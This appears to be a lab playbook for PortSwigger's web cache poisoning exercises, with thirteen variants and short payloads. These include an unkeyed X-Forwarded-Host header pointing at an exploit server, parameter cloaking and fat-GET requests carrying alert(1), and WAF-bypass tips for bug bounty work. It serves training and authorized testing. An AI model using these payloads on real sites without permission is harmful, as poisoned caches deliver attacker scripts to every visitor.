Web cache poisoning

Web Cache Poisoning — Complete Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

• BSCP certification prep
• Real-world bug bounty hunting
• Building exploitation chains
• Understanding bypass techniques

Prerequisites

• Burp Suite Professional
• Burp Collaborator / interactsh
• Browser with proxy configured

Workflow

Phase 1: Reconnaissance

• Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

• Apply standard lab payloads.

Phase 3: Zero-Day Escalation

• Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: Unkeyed header 🟡 PRACTITIONER

GET / HTTP/1.1
X-Forwarded-Host: EXPLOIT-SERVER

Cache stores response with your malicious host in script/link tags.

Lab 2: Unkeyed cookie 🟡 PRACTITIONER

GET / HTTP/1.1
Cookie: fehost=EXPLOIT-SERVER"

---

Lab 3: Multiple headers 🟡 PRACTITIONER

Combine X-Forwarded-Host + X-Forwarded-Scheme: http to force redirect to your server.

Lab 4: Unknown header 🟡 PRACTITIONER

Use Param Miner to discover: X-Host, X-Forwarded-Server, etc.

Lab 5: Unkeyed query string 🟡 PRACTITIONER

Query string excluded from cache key → add XSS in query, all users get poisoned response.

Lab 6: Unkeyed query parameter 🟡 PRACTITIONER

Specific parameter excluded from cache key (e.g., utm_content). Inject XSS there.

Lab 7: Parameter cloaking 🟡 PRACTITIONER

/js/geolocate.js?callback=setCountryCookie&utm_content=1;callback=alert(1)

Backend parser sees second callback, cache key only includes first.

Lab 8: Fat GET request 🟡 PRACTITIONER

GET /js/geolocate.js?callback=setCountryCookie HTTP/1.1
Content-Length: 30

callback=alert(1)

GET with body — backend reads body param, cache uses URL param as key.

Lab 9: URL normalization 🟡 PRACTITIONER

/random</p><script>alert(1)</script><p>foo — browser URL-encodes, cache doesn't → poisoned.

Lab 10: DOM vuln via strict cache 🟡 PRACTITIONER

Find DOM XSS sink, poison cache to inject payload via unkeyed header/param.

Lab 11: Combining vulnerabilities 🔴 EXPERT

Chain multiple unkeyed inputs together for exploitation.

Lab 12: Cache key injection 🔴 EXPERT

Inject cache-key delimiter characters to control what gets cached.

Lab 13: Internal cache poisoning 🔴 EXPERT

Target application-level cache (not CDN). Fragment-based caching reuses cached fragments across pages.

Blue Team Detection

• Monitor access logs for anomalous payloads.
• Implement strict input validation and parameterized queries where applicable.
• Create WAF rules masking generic attack patterns.

Zero-Day Research

When standard technique fails:

1. Identify the filter/WAF
2. Fuzz with Burp Intruder custom wordlists
3. Search GitHub/Twitter for new bypasses
4. Chain with other vulns for escalation
5. Try encoding variants: URL, double-URL, unicode, hex

Key Concepts

Concept	Description
PortSwigger Vectors	Standardized approaches to vulnerability classes.
Payload Encoding	Modifying payloads to bypass basic string matching WAFs.

Output Format

Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]

🔵 Blue Team

• Deploy robust WAF rules to detect anomalies.
• Monitor logs for unusual access patterns.

🛡️ Remediation & Mitigation Strategy

• Input Validation: Sanitize and strictly type-check all inputs.
• Least Privilege: Constrain component execution bounds.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• PortSwigger Labs
• PayloadsAllTheThings
• HackTricks